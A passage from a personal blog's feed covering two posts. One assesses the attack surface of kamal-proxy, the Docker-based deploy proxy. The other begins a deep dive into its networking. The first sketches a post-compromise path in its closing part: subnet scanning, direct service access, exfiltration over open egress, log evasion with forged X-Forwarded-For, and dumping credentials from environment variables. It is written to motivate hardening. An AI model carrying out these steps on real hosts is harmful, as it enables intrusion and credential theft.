        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;ICMP works, let’s check what &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; is actually listening on inside its network namespace:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ nsenter --net --target $(docker inspect -f &amp;#39;{{.State.Pid}}&amp;#39; kamal-proxy) ss -tlnp
State    Recv-Q  Send-Q  Local Address:Port  Peer Address:Port  Process
LISTEN   0       4096    127.0.0.11:42217    0.0.0.0:*          users:((&amp;quot;dockerd&amp;quot;,pid=719,fd=38))
LISTEN   0       4096    *:80                *:*                users:((&amp;quot;kamal-proxy&amp;quot;,pid=1129,fd=3))
LISTEN   0       4096    *:443               *:*                users:((&amp;quot;kamal-proxy&amp;quot;,pid=1129,fd=6))&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Three listeners. The &lt;code class=&quot;language-text&quot;&gt;127.0.0.11:42217&lt;/code&gt; entry is Docker’s embedded DNS resolver. &lt;code class=&quot;language-text&quot;&gt;dockerd&lt;/code&gt; binds on the loopback inside the network namespace to intercept DNS queries from containers on the bridge, which is how &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; resolves to &lt;code class=&quot;language-text&quot;&gt;172.18.0.3&lt;/code&gt;. We covered this in detail in the previous post.&lt;/p&gt;
&lt;p&gt;The two kamal-proxy listeners bind to &lt;code class=&quot;language-text&quot;&gt;*&lt;/code&gt;, meaning &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; accepts TCP connections from any address, including other containers on the same bridge network. There is no source IP filtering. Let’s try connecting:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker exec xps-web-98043a3 wget -O- http://172.18.0.3:80
wget: server returned error: HTTP/1.1 404 Not Found&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;TCP connects, but &lt;code class=&quot;language-text&quot;&gt;404&lt;/code&gt; happens because &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; routes by &lt;code class=&quot;language-text&quot;&gt;Host&lt;/code&gt; header and a request to &lt;code class=&quot;language-text&quot;&gt;172.18.0.3&lt;/code&gt; doesn’t match any configured service. Let’s use the right header:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker exec xps-web-98043a3 wget -O- --header=&amp;quot;Host: tasks.xps.one&amp;quot; \
  http://172.18.0.3:80
Connecting to 172.18.0.3:80 (172.18.0.3:80)
Connecting to tasks.xps.one (67.205.158.151:443)
...
{&amp;quot;hostname&amp;quot;:&amp;quot;...&amp;quot;,&amp;quot;service&amp;quot;:&amp;quot;Task Manager API&amp;quot;,&amp;quot;version&amp;quot;:&amp;quot;1.0.0&amp;quot;}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;See how we got redirected to HTTPS and went out through the public IP? &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; enforces HTTPS even for internal traffic. Containers have unrestricted outbound internet access unless egress filtering is explicitly configured. This is a Docker default rather than something Kamal specific. On my VPS hairpin NAT is also enabled, so traffic can leave the container, hit the public IP, and come back in using the real hostname:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker exec xps-web-98043a3 wget -O- --no-check-certificate \
  https://tasks.xps.one/up
Connecting to tasks.xps.one (67.205.158.151:443)
ok&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt;’s HTTP ports are purely for proxying traffic, there is almost no surface over TCP. Reading the &lt;a href=&quot;https://github.com/basecamp/kamal-proxy/blob/main/internal/cmd/run.go&quot;&gt;kamal-proxy source&lt;/a&gt;, there is one potential attack surface worth knowing about, an optional HTTP metrics port that is disabled by default.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;go&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;// internal/cmd/run.go
runCommand.cmd.Flags().IntVar(&amp;amp;globalConfig.MetricsPort, &amp;quot;metrics-port&amp;quot;,
    getEnvInt(&amp;quot;METRICS_PORT&amp;quot;, 0),
    &amp;quot;Publish metrics on the specified port (default zero to disable)&amp;quot;)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;If enabled with &lt;code class=&quot;language-text&quot;&gt;--metrics-port=9001&lt;/code&gt; (or &lt;code class=&quot;language-text&quot;&gt;METRICS_PORT=9001&lt;/code&gt;), it opens a plain HTTP server on that port exposing Prometheus metrics with no TLS and no authentication. There are no management operations available (stop, pause, or deploy), but the endpoint serves useful information to an attacker like the Go runtime version (CVE checks), proxy metrics (deployment cadence), service names and HTTP status aggregation and error patterns. Any container on the kamal network can reach this port directly, so if you enable it, treat it like any other unauthenticated internal endpoint.&lt;/p&gt;
&lt;p&gt;There is one more opt-in listener to account for. The &lt;code class=&quot;language-text&quot;&gt;go.mod&lt;/code&gt; includes &lt;code class=&quot;language-text&quot;&gt;quic-go/quic-go&lt;/code&gt;, which gives &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; HTTP/3 (QUIC) support behind the &lt;code class=&quot;language-text&quot;&gt;--http3&lt;/code&gt; flag. When enabled, &lt;code class=&quot;language-text&quot;&gt;server.go&lt;/code&gt; opens a &lt;strong&gt;UDP&lt;/strong&gt; listener on port &lt;code class=&quot;language-text&quot;&gt;443&lt;/code&gt; alongside the existing TCP one. Our earlier &lt;code class=&quot;language-text&quot;&gt;ss -tlnp&lt;/code&gt; command used &lt;code class=&quot;language-text&quot;&gt;-t&lt;/code&gt; for TCP only and would have missed this listener, in order to spot it we would need &lt;code class=&quot;language-text&quot;&gt;ss -ulnp&lt;/code&gt; to catch it. The attack surface is the same as &lt;code class=&quot;language-text&quot;&gt;TCP/443&lt;/code&gt; though (requests still go through the proxy handler, not the control plane), but UDP listeners are easy to overlook in a network scan.&lt;/p&gt;
&lt;p&gt;As we can see, the attack surface area is pretty narrow. My one practical concern is that every container on the &lt;code class=&quot;language-text&quot;&gt;kamal&lt;/code&gt; network can talk directly to every other container, with no proxy in the middle. This means no rate limiting, no auth header injection or IP allowlisting unless it is enforced by each application in the network. Any accessory container you add later (a Redis sidecar, a Postgres instance, a background worker) lands on that network by default as well.&lt;/p&gt;
&lt;p&gt;We can sketch a realistic scenario for a post-RCE inside the web app container:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attacker reads &lt;code class=&quot;language-text&quot;&gt;/etc/resolv.conf&lt;/code&gt;, sees &lt;code class=&quot;language-text&quot;&gt;nameserver 127.0.0.11&lt;/code&gt; and confirms they’re inside a Docker network and have a live internal subnet to explore&lt;/li&gt;
&lt;li&gt;Attacker reads their own IP and subnet from &lt;code class=&quot;language-text&quot;&gt;ip addr&lt;/code&gt;, then scans the range directly&lt;/li&gt;
&lt;li&gt;Attacker connects to discovered services on their native ports directly, bypassing any controls at the proxy layer&lt;/li&gt;
&lt;li&gt;With unrestricted outbound internet access, the attacker can exfiltrate data or pull down additional tooling&lt;/li&gt;
&lt;li&gt;When probing internal services through &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt;, the attacker can set a forged &lt;code class=&quot;language-text&quot;&gt;X-Forwarded-For&lt;/code&gt; header on their requests. The logging middleware trusts this header as the logged source address, so their activity gets attributed to a different IP in the proxy’s access logs&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There’s also a more direct path that doesn’t require any network scanning at all. Kamal injects secrets as environment variables like database credentials, API keys and third-party tokens. An attacker with RCE can read them immediately:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ env
DATABASE_URL=postgres://app:s3cr3t@postgres:5432/app_production
REDIS_URL=redis://:password@redis:6379/0
HOSTNAME=...
KAMAL_CONTAINER_NAME=...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This bypasses any network-level filtering and is often the most direct path to the services you care about protecting. Not specific to Kamal, but worth keeping in mind.&lt;/p&gt;
&lt;p&gt;Another thing worth noting is that the logging middleware records the raw query string with every request as a &lt;code class=&quot;language-text&quot;&gt;query&lt;/code&gt; field in the JSON log. If the application uses query parameters to carry tokens like OAuth callbacks, pre-signed URLs or webhook validation secrets, those values end up in the proxy’s structured log output. This is worth factoring in when deciding where logs are stored and who can read them.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;go&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;// internal/server/logging_middleware.go
// ...
attrs := []slog.Attr{
    slog.String(&amp;quot;host&amp;quot;, r.Host),
    # ...
    slog.String(&amp;quot;query&amp;quot;, r.URL.RawQuery),
}
// ...
h.logger.LogAttrs(context.Background(), slog.LevelInfo, &amp;quot;Request&amp;quot;, attrs...)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And I’ve truly ran out of interesting things to mention at this point. I know we didn’t uncover much, but that’s a good thing! My takeaway is that if you are using Kamal you should worry about the usual things instead of having to reason about new surface area exposed by the tool in the server. Things like avoiding running containers as root, mounting the Docker socket or the kamal-proxy Unix socket into other containers, and considering outbound egress filtering. These are all best practices that are Kamal independent and will serve you well in the long run.&lt;/p&gt;
&lt;p&gt;Thanks for following this post and let me know if I missed something!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[kamal-proxy deep dive]]></title><description><![CDATA[An exploration on how kamal-proxy works under the hood.]]></description><link>https://bernardoamc.com/kamal-proxy-deep-dive/</link><guid isPermaLink="false">https://bernardoamc.com/kamal-proxy-deep-dive/</guid><pubDate>Wed, 25 Feb 2026 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve started experimenting with &lt;a href=&quot;https://kamal-deploy.org/&quot;&gt;Kamal&lt;/a&gt; in order to deploy web applications to my DigitalOcean VPS. It is a pretty opinionated tool that sits on top of Docker and allows you to deploy without downtime. It relies on a &lt;a href=&quot;https://kamal-deploy.org/docs/configuration/proxy/&quot;&gt;proxy&lt;/a&gt; named &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; to interface with the web application, which is what allows the tool to perform gapless deploys and rollbacks. I’ve read the bare minimum amount of documentation in order to deploy my application, but thought it would be an interesting exercise to inspect what &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; does under the hood. I will be using my currently deployed application as we perform the deep dive.&lt;/p&gt;
&lt;h2&gt;Exploration&lt;/h2&gt;
&lt;p&gt;The first thing to notice is that &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; runs as a container side-by-side to our application:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker ps
CONTAINER ID   IMAGE                         COMMAND             CREATED        STATUS                  PORTS                                                                          NAMES
c11a984b98e8   kaeros/xps:46b447e            &amp;quot;/app/server&amp;quot;       20 hours ago   Up 20 hours (healthy)   8080/tcp                                                                       xps-web-46b447e
b9958b81313c   basecamp/kamal-proxy:v0.9.0   &amp;quot;kamal-proxy run&amp;quot;   20 hours ago   Up 20 hours             0.0.0.0:80-&amp;gt;80/tcp, [::]:80-&amp;gt;80/tcp, 0.0.0.0:443-&amp;gt;443/tcp, [::]:443-&amp;gt;443/tcp   kamal-proxy&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h3&gt;Networking&lt;/h3&gt;
&lt;p&gt;Our application exposes port &lt;code class=&quot;language-text&quot;&gt;8080&lt;/code&gt; while &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; binds to every interface on ports &lt;code class=&quot;language-text&quot;&gt;80&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;443&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can use &lt;code class=&quot;language-text&quot;&gt;docker inspect kamal-proxy&lt;/code&gt; to learn more about the container configuration and confirm our thought process. For example, what is the command being executed by the container? Which ports is it binding to?&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker inspect kamal-proxy | jq &amp;#39;.[0].Config.Cmd&amp;#39;
[
  &amp;quot;kamal-proxy&amp;quot;,
  &amp;quot;run&amp;quot;
]

$ docker inspect kamal-proxy | jq &amp;#39;.[0].HostConfig.PortBindings&amp;#39;
{
  &amp;quot;443/tcp&amp;quot;: [
    {
      &amp;quot;HostIp&amp;quot;: &amp;quot;&amp;quot;,
      &amp;quot;HostPort&amp;quot;: &amp;quot;443&amp;quot;
    }
  ],
  &amp;quot;80/tcp&amp;quot;: [
    {
      &amp;quot;HostIp&amp;quot;: &amp;quot;&amp;quot;,
      &amp;quot;HostPort&amp;quot;: &amp;quot;80&amp;quot;
    }
  ]
}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Notice how the &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; container is running a binary called &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt;. This will help us in the future. Another interesting thing to confirm is that both our &lt;code class=&quot;language-text&quot;&gt;web application&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; share the same network ID:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker inspect kamal-proxy | jq &amp;#39;.[0].NetworkSettings.Networks.kamal.NetworkID&amp;#39;
&amp;quot;ee31959bc2474fff68ea97e6ec162052982bd61d5ae24731fbcb8b3f87fdea72&amp;quot;
$ docker inspect c11a984b98e8 | jq &amp;#39;.[0].NetworkSettings.Networks.kamal.NetworkID&amp;#39;
&amp;quot;ee31959bc2474fff68ea97e6ec162052982bd61d5ae24731fbcb8b3f87fdea72&amp;quot;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We can inspect this network by doing:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker network inspect ee31959bc2474fff68ea97e6ec162052982bd61d5ae24731fbcb8b3f87fdea72
[
    {
        &amp;quot;Name&amp;quot;: &amp;quot;kamal&amp;quot;,
        &amp;quot;Id&amp;quot;: &amp;quot;ee31959bc2474fff68ea97e6ec162052982bd61d5ae24731fbcb8b3f87fdea72&amp;quot;,
        &amp;quot;Created&amp;quot;: &amp;quot;2026-02-25T03:48:00.949931206Z&amp;quot;,
        &amp;quot;Scope&amp;quot;: &amp;quot;local&amp;quot;,
        &amp;quot;Driver&amp;quot;: &amp;quot;bridge&amp;quot;,
        &amp;quot;EnableIPv4&amp;quot;: true,
        &amp;quot;EnableIPv6&amp;quot;: false,
        &amp;quot;IPAM&amp;quot;: {
            &amp;quot;Driver&amp;quot;: &amp;quot;default&amp;quot;,
            &amp;quot;Options&amp;quot;: {},
            &amp;quot;Config&amp;quot;: [
                {
                    &amp;quot;Subnet&amp;quot;: &amp;quot;172.18.0.0/16&amp;quot;,
                    &amp;quot;Gateway&amp;quot;: &amp;quot;172.18.0.1&amp;quot;
                }
            ]
        },
        # ...
        &amp;quot;Containers&amp;quot;: {
            &amp;quot;b9958b81313ca466bfb55a5e97cdef16123ddab4c8443d37e8c88282ed19be7e&amp;quot;: {
                &amp;quot;Name&amp;quot;: &amp;quot;kamal-proxy&amp;quot;,
                &amp;quot;EndpointID&amp;quot;: &amp;quot;b7b61aa9003e31101b2e224bce4cd6078d592baf108c2bf7371e39136a59631a&amp;quot;,
                &amp;quot;MacAddress&amp;quot;: &amp;quot;8a:1c:8b:54:0a:ba&amp;quot;,
                &amp;quot;IPv4Address&amp;quot;: &amp;quot;172.18.0.2/16&amp;quot;,
                &amp;quot;IPv6Address&amp;quot;: &amp;quot;&amp;quot;
            },
            &amp;quot;c11a984b98e89b3e461c90c17988fdd2345d4d02eead8f7dadb155818642be4d&amp;quot;: {
                &amp;quot;Name&amp;quot;: &amp;quot;xps-web-46b447e&amp;quot;,
                &amp;quot;EndpointID&amp;quot;: &amp;quot;2dce046a356d81e034268ab22f7bc933cfee8044f783ddcefc0d181259c84f76&amp;quot;,
                &amp;quot;MacAddress&amp;quot;: &amp;quot;6a:39:d0:75:3b:0b&amp;quot;,
                &amp;quot;IPv4Address&amp;quot;: &amp;quot;172.18.0.3/16&amp;quot;,
                &amp;quot;IPv6Address&amp;quot;: &amp;quot;&amp;quot;
            }
        },
        &amp;quot;Status&amp;quot;: {
            &amp;quot;IPAM&amp;quot;: {
                &amp;quot;Subnets&amp;quot;: {
                    &amp;quot;172.18.0.0/16&amp;quot;: {
                        &amp;quot;IPsInUse&amp;quot;: 5,
                        &amp;quot;DynamicIPsAvailable&amp;quot;: 65531
                    }
                }
            }
        }&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Both containers are on the same private Docker bridge network called &lt;code class=&quot;language-text&quot;&gt;kamal&lt;/code&gt;. This means that &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; doesn’t reach our web application through our host’s public IP or localhost, instead it uses the internal network using Docker’s built-in DNS. This is the reason our web application doesn’t need to publish port &lt;code class=&quot;language-text&quot;&gt;8080&lt;/code&gt; on the host.&lt;/p&gt;
&lt;p&gt;Through &lt;code class=&quot;language-text&quot;&gt;ip link show&lt;/code&gt; we can see that the bridge network exists at the kernel level:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ ip link show
# ...
5: br-ee31959bc247: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP mode DEFAULT group default
    link/ether 2e:5e:52:ec:df:0d brd ff:ff:ff:ff:ff:ff
# ...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Running &lt;code class=&quot;language-text&quot;&gt;ip addr show&lt;/code&gt; with the bridge’s interface confirms that it acts as the &lt;code class=&quot;language-text&quot;&gt;gateway&lt;/code&gt; for both containers with the associated IP being &lt;code class=&quot;language-text&quot;&gt;172.18.0.1/16&lt;/code&gt;.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;ip addr show br-ee31959bc247
5: br-ee31959bc247: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default
    link/ether 2e:5e:52:ec:df:0d brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-ee31959bc247
       valid_lft forever preferred_lft forever
    inet6 fe80::2c5e:52ff:feec:df0d/64 scope link
       valid_lft forever preferred_lft forever&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Each container should be “plugged” into the bridge. This happens through &lt;a href=&quot;https://man7.org/linux/man-pages/man4/veth.4.html&quot;&gt;veth&lt;/a&gt; pairs (virtual ethernet cables). Let’s inspect that:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ ip link show | grep -A1 veth

6: vethec5fa95@if2: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue master br-ee31959bc247 state UP mode DEFAULT group default
    link/ether fe:df:5a:20:3e:5a brd ff:ff:ff:ff:ff:ff link-netnsid 0
7: vethf226152@if2: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue master br-ee31959bc247 state UP mode DEFAULT group default
    link/ether be:96:a0:9d:e9:a5 brd ff:ff:ff:ff:ff:ff link-netnsid 1&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Two things of notice. First, both &lt;code class=&quot;language-text&quot;&gt;veth&lt;/code&gt; pairs are &lt;code class=&quot;language-text&quot;&gt;@if2&lt;/code&gt;, which means they are connected to the second interface in the &lt;a href=&quot;https://man7.org/linux/man-pages/man7/namespaces.7.html&quot;&gt;namespace&lt;/a&gt; container network stack. Second, see that &lt;code class=&quot;language-text&quot;&gt;master&lt;/code&gt; is &lt;code class=&quot;language-text&quot;&gt;br-ee31959bc247&lt;/code&gt;? That’s our bridge! Let’s check the other side of one of our veth pairs inside &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; container namespace by using &lt;a href=&quot;https://man7.org/linux/man-pages/man1/nsenter.1.html&quot;&gt;nsenter&lt;/a&gt;:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ nsenter --net --target $(docker inspect -f &amp;#39;{{.State.Pid}}&amp;#39; kamal-proxy) ip addr show

# ...
2: eth0@if6: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default
    link/ether 8a:1c:8b:54:0a:ba brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;See how our second interface has the IP &lt;code class=&quot;language-text&quot;&gt;172.18.0.2&lt;/code&gt;? That’s exactly what the output from &lt;code class=&quot;language-text&quot;&gt;docker network inspect&lt;/code&gt; printed. Let’s also inspect the routes within our &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; container to see how it is linked to the gateway:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ nsenter --net --target $(docker inspect -f &amp;#39;{{.State.Pid}}&amp;#39; kamal-proxy) ip route show
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.2&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;See how the default gateway is &lt;code class=&quot;language-text&quot;&gt;172.18.0.1&lt;/code&gt;? That’s our bridge again! How does a packet coming from the internet make it to the bridge though? That’s the job of the routing table!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ iptables -t nat -L -n --line-numbers
Chain PREROUTING (policy ACCEPT)
num  target     prot opt source               destination
1    DOCKER     0    --  0.0.0.0/0            0.0.0.0/0            ADDRTYPE match dst-type LOCAL

Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination
1    DOCKER     0    --  0.0.0.0/0           !127.0.0.0/8          ADDRTYPE match dst-type LOCAL

Chain POSTROUTING (policy ACCEPT)
num  target     prot opt source               destination
1    MASQUERADE  0    --  172.18.0.0/16        0.0.0.0/0
2    MASQUERADE  0    --  172.17.0.0/16        0.0.0.0/0

Chain DOCKER (2 references)
num  target     prot opt source               destination
1    DNAT       6    --  0.0.0.0/0            0.0.0.0/0            tcp dpt:80 to:172.18.0.2:80
2    DNAT       6    --  0.0.0.0/0            0.0.0.0/0            tcp dpt:443 to:172.18.0.2:443&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This can be pretty overwhelming, so let’s break it down:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;PREROUTING&lt;/code&gt; handles packets as they arrive, rule &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt; sends any packet destined for a local address into the &lt;code class=&quot;language-text&quot;&gt;DOCKER chain&lt;/code&gt; for inspection.&lt;/li&gt;
&lt;li&gt;We make it to &lt;code class=&quot;language-text&quot;&gt;DOCKER chain&lt;/code&gt;, here we have two rules:
&lt;ul&gt;
&lt;li&gt;Any packets arriving at port &lt;code class=&quot;language-text&quot;&gt;80&lt;/code&gt; gets DNAT’d (Destination NAT) to &lt;code class=&quot;language-text&quot;&gt;172.18.0.2:80&lt;/code&gt;, which is kamal-proxy’s IP.&lt;/li&gt;
&lt;li&gt;The same thing happens, but for port &lt;code class=&quot;language-text&quot;&gt;443&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;DNAT rewrites the destination IP of the packet before it’s forwarded. So a packet arriving from the internet destined for &lt;code class=&quot;language-text&quot;&gt;67.205.158.151:443&lt;/code&gt; gets its destination rewritten to &lt;code class=&quot;language-text&quot;&gt;172.18.0.2:443&lt;/code&gt; and sent into the &lt;code class=&quot;language-text&quot;&gt;bridge&lt;/code&gt; network. The original sender never knows this happened.&lt;/p&gt;
&lt;p&gt;What about packets &lt;em&gt;leaving the container&lt;/em&gt;?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;POSTROUTING&lt;/code&gt; handles packets just before leaving the host:
&lt;ul&gt;
&lt;li&gt;In &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;, any packet from &lt;code class=&quot;language-text&quot;&gt;172.18.0.0/16&lt;/code&gt; going anywhere gets &lt;code class=&quot;language-text&quot;&gt;MASQUERADE&apos;d&lt;/code&gt;, as in, its source IP is rewritten to the host’s public IP. This is how container traffic appears to come from the VPS when it reaches the internet.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;New deploys&lt;/h3&gt;
&lt;p&gt;We know how the network is configured, but how does &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; handle a new deploy without downtime though? The first part of the magic is that during deploys the container for &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; remains stable, but how does it know to reach the newly deployed container rather than the old one?&lt;/p&gt;
&lt;p&gt;In order to do this I’ve triggered a deploy and dug through logs, because why not? The first thing to notice is the new output for &lt;code class=&quot;language-text&quot;&gt;docker ps&lt;/code&gt;:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker ps
CONTAINER ID   IMAGE                         COMMAND             CREATED          STATUS                    PORTS                                                                          NAMES
dfdee429978c   kaeros/xps:98043a3            &amp;quot;/app/server&amp;quot;       11 minutes ago   Up 11 minutes (healthy)   8080/tcp                                                                       xps-web-98043a3
b9958b81313c   basecamp/kamal-proxy:v0.9.0   &amp;quot;kamal-proxy run&amp;quot;   23 hours ago     Up 23 hours               0.0.0.0:80-&amp;gt;80/tcp, [::]:80-&amp;gt;80/tcp, 0.0.0.0:443-&amp;gt;443/tcp, [::]:443-&amp;gt;443/tcp   kamal-proxy&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Armed with the container ID, we can investigate our logs:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker logs kamal-proxy --since 1h 2&amp;gt;/dev/null | grep &amp;quot;dfdee429978c&amp;quot;
# ...
{&amp;quot;time&amp;quot;:&amp;quot;2026-02-26T02:26:33.849624737Z&amp;quot;,&amp;quot;level&amp;quot;:&amp;quot;INFO&amp;quot;,&amp;quot;msg&amp;quot;:&amp;quot;Request&amp;quot;,&amp;quot;host&amp;quot;:&amp;quot;tasks.xps.one&amp;quot;,&amp;quot;port&amp;quot;:443,&amp;quot;path&amp;quot;:&amp;quot;/up&amp;quot;,&amp;quot;request_id&amp;quot;:&amp;quot;146c65d1-9f6f-4584-83bb-6d75f274b5ae&amp;quot;,&amp;quot;status&amp;quot;:200,&amp;quot;service&amp;quot;:&amp;quot;xps-web&amp;quot;,&amp;quot;target&amp;quot;:&amp;quot;dfdee429978c:8080&amp;quot;,&amp;quot;duration&amp;quot;:560366,&amp;quot;method&amp;quot;:&amp;quot;GET&amp;quot;,&amp;quot;req_content_length&amp;quot;:0,&amp;quot;req_content_type&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;resp_content_length&amp;quot;:2,&amp;quot;resp_content_type&amp;quot;:&amp;quot;text/plain; charset=utf-8&amp;quot;,&amp;quot;client_addr&amp;quot;:&amp;quot;66.130.127.41&amp;quot;,&amp;quot;client_port&amp;quot;:&amp;quot;64586&amp;quot;,&amp;quot;remote_addr&amp;quot;:&amp;quot;66.130.127.41&amp;quot;,&amp;quot;user_agent&amp;quot;:&amp;quot;curl/8.7.1&amp;quot;,&amp;quot;proto&amp;quot;:&amp;quot;HTTP/2.0&amp;quot;,&amp;quot;scheme&amp;quot;:&amp;quot;https&amp;quot;,&amp;quot;query&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;req_cache_control&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;req_last_modified&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;req_user_agent&amp;quot;:&amp;quot;curl/8.7.1&amp;quot;}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Notice the &lt;code class=&quot;language-text&quot;&gt;&quot;target&quot;:&quot;dfdee429978c:8080&quot;&lt;/code&gt;. That’s not an IP address, it’s a container ID prefix and a port. Docker DNS resolves &lt;code class=&quot;language-text&quot;&gt;dfdee429978c&lt;/code&gt; to whatever IP that container has on the kamal network. Let’s look inside the &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; network namespace to see how that DNS interception actually works:&lt;/p&gt;
